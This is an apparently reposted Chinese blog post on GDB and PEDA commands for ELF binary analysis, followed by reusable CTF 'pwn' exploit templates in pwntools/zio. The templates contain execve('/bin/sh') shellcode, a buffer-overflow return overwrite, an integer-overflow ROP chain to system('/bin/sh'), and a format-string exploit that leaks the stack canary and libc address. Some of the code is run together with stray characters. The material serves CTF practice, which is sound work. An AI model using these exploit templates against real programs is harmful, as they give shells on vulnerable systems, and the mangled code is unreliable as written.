GDB分析ELF文件常用的调试技巧
来源:互联网 发布:超图软件工资怎么样 编辑:程序博客网 时间:2024/05/20 20:04
GDB分析ELF文件常用的调试技巧
gdb常用命令
首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试
为了方便查看堆栈和寄存器 最好是安装peda插件
安装
可以通过pip直接安装,也可以从github上下载安装
$ pip install peda$ git clone https://github.com/longld/peda.git ~/peda$ echo "source ~/peda/peda.py" >> ~/.gdbinit
命令
aslr
– 显示/设定GDB的ASLR(地址空间配置随机加载)设置checksec
– 检查二进制文件的各种安全选项dumpargs
– 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)dumprop
– 在给定内存范围中Dump出所有ROP gadgetselfheader
– Get headers information from debugged ELF fileelfsymbol
– 获取non-debugging symbol信息(plt表)lookup
– Search for all addresses/references to addresses which belong to a memory rangepatch
– Patch memory start at an address with string/hexstring/intpattern
– 生成字符串模板 写入内存 用于定位溢出点pattern create size
生成特定长度字符串pattern offset value
定位字符串
procinfo
– Display various info from /proc/pid/pshow
– Show various PEDA options and other settingspset
– Set various PEDA options and other settingsreadelf
– 获取elf头信息ropgadget
– Get common ROP gadgets of binary or libraryropsearch
– Search for ROP gadgets in memorysearchmem|find
– 在内存中查找字符串,支持正则表达式shellcode
– 生成shellcodeskeleton
– Generate python exploit code templatevmmap
– 可以用来查看栈、bss段是否可以执行xormem
– XOR a memory region with a key
更多详细用法请参考官方帮助文档
1. checksec 查看elf编译的保护选项。
2. file [file] 加载objfile
3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名
4. b *addr 在addr处下一个断点
5. x addr 查看addr处存储的数据值
6. r 运行被调试的程序
7. c 继续运行
8. ni 单步执行不进入
9. si 单步执行并进入
10.vmmap 得到虚拟映射地址
PWN题常用模板
单个发送(pwn库)
1 #coding=utf-8 #中文乱码2 from zio import *3 Thread = zio((‘./pwn‘)) #执行同目录下的pwn4 Thread = write(‘a‘*64+‘\x00\x00\x00\x01‘) #输入我们的payload5 Thread = interact()6 //p32(Address) 把32位地址 写成0x形式 同理64位的也是
ZIO库
1 from zio import * 2 from pwn import * 3 Thread = zio((‘./pwn‘)) 4 #shellcode1=‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05‘ 5 shellcode=‘\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50‘ 6 TargetAddress = 0x000000000040066E 7 Length = len(shellcode) 8 payload = shellcode+‘\x90‘*(72-Length)+p64(TargetAddress) 9 Thread.write(payload)10 Thread.interact()11
pwn库 有消息接收和判断的
1 from pwn import * 2 Shellcode=‘a‘*112+‘\x5D\x86\x04\x08‘ 3 Target=process(‘./pwn‘) 4 Target.sendline(Shellcode) 5 Target.recvuntil(‘:$‘) 6 #context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘] 7 #gdb.attach(proc.pidof(Target)[0]) 8 Target.sendline(‘zhimakaimen‘) 9 Target.interactive()10 11
整数溢出型
1 from pwn import * 2 3 #r = remote(‘127.0.0.1‘, 9527) 4 r = process(‘./pwn3‘) 5 r.recvuntil(‘name \n‘) 6 r.sendline(‘123‘) 7 #raw_input(‘debug‘ 8 ##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。 9 ?10 #下面开始构造11 r.recvuntil(‘index\n‘)12 #-2147483648 -->0x80000000 *4后溢出为013 context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘] 14 gdb.attach(proc.pidof(p)[0])15 r.sendline(str(-2147483648 + 14)) #ebp+4的地址处 就是Return函数的地址 现在是一处地址一处值 116 r.recvuntil(‘value\n‘)17 r.sendline(str(int(‘8048470‘, 16))) #jmp scanf18 r.recvuntil(‘index\n‘)19 r.sendline(str(-2147483648 + 15)) #ebp+820 r.recvuntil(‘value\n‘)21 r.sendline(str(int(‘0x080487de‘, 16))) # pop edi22 r.recvuntil(‘index\n‘)23 r.sendline(str(-2147483648 + 16)) 24 r.recvuntil(‘value\n‘) 25 r.sendline(str(int(‘804884b‘,16))) #0804884B a9s db ‘%9s‘,0 26 r.recvuntil(‘index\n‘)27 r.sendline(str(-2147483648 + 17)) 28 r.recvuntil(‘value\n‘)29 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_star 804a030 是GOT表的结尾30 r.recvuntil(‘index\n‘)31 r.sendline(str(-2147483648 + 18))32 r.recvuntil(‘value\n‘)33 r.sendline(str(int(‘8048420‘, 16))) #system #jmp to system34 r.recvuntil(‘index\n‘) 35 r.sendline(str(-2147483648 + 19))36 r.recvuntil(‘value\n‘)37 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_start db 0 38 r.recvuntil(‘index\n‘)39 r.sendline(str(-2147483648 + 20))40 r.recvuntil(‘value\n‘)41 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_start db 0 42 r.recvuntil(‘index\n‘)43 r.sendline(str(-2147483648 + 21))44 r.recvuntil(‘value\n‘)45 r.sendline(str(int(‘8048420‘, 16))) ##system #jmp to system46 r.recvuntil(‘index\n‘)47 r.sendline(str(-2147483648 + 22))48 r.recvuntil(‘value\n‘)49 r.sendline(str(int(‘8048420‘, 16))) ##system #jmp to system50 r.recvuntil(‘index\n‘) #相当与让代码结束 执行ret从而执行到我们的流程51 r.sendline(‘-1‘)52 r.recvuntil(‘value\n‘)53 r.sendline(‘10‘)54 r.recvuntil(‘0 0 0 0 0 0 0 0 0 0 ‘)55 r.sendline(‘/bin/sh‘)56 r.interactive()
格式化字符串
1 from pwn import * 2 libc=ELF(‘/lib/i386-linux-gnu/i686/cmov/libc.so.6‘) 3 p=process("./pwn2") 4 context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘] 5 gdb.attach(proc.pidof(p)[0]) 6 p.recvuntil(‘name:‘) 7 p.sendline(‘%p.‘*40) #输出字符串 8 leak_data=p.recvuntil(‘messages:‘) 9 address=leak_data.split(‘.‘) #将输出的地址分组 然后进行分组10 canary=int(address[30],16) #这里为什么是 第30个11 stack_addr=int(address[33],16)-0x90+0x8+0x8 #这里也不懂12 put_addr=int(address[22],16)-0x144 13 system_addr=put_addr-(libc.symbols[‘puts‘]-libc.symbols[‘system‘])14 ?15 payload =‘a‘*100+p32(canary)+‘a‘*12+p32(system_addr)+‘bbbb‘+p32(stack_addr)+‘/bin/sh\x00‘16 ?17 p.sendline(payload)18 ?19 p.interactive()
- GDB分析ELF文件常用的调试技巧
- 常用gdb调试技巧整理
- gdb调试c++常用技巧
- GDB的调试技巧
- GDB的调试技巧
- Android下使用GDB调试无符号ELF文件
- 使用arm-elf-gdb调试SkyEye上运行的程序
- gdb 常用的调试命令
- 常用的gdb调试命令
- gdb常用的调试方法
- 常用的gdb调试命令
- GDB调试技巧:gdb at pid无法调试的问题
- ELF文件病毒的分析和编写
- linux下的ELF文件分析
- ELF文件病毒的分析和编写
- 分析elf文件的利器(常用命令)
- 分析elf文件的利器(常用命令)
- 分析elf文件的利器(常用命令)
- 博弈论(1):囚徒困境中的博弈论
- java常用排序算法
- spring in action笔记(四)——高级装配
- if there is a error "SSSE3 instruction set not enabled"
- Python利用Scrapy爬取智联招聘和前程无忧的招聘数据
- GDB分析ELF文件常用的调试技巧
- android 编写发表帖子的页面
- 线上环境安装配置实操(jdk-tomcat-maven-vsftpd-nginx)
- Intelli JDEA 创建Scala项目的三种不同方式
- Android学习-服务的基本用法
- volatile
- 【C++学习笔记】基本内置类型和变量
- java读取文件大小和内容
- 函数,以及原型。新的函数继承.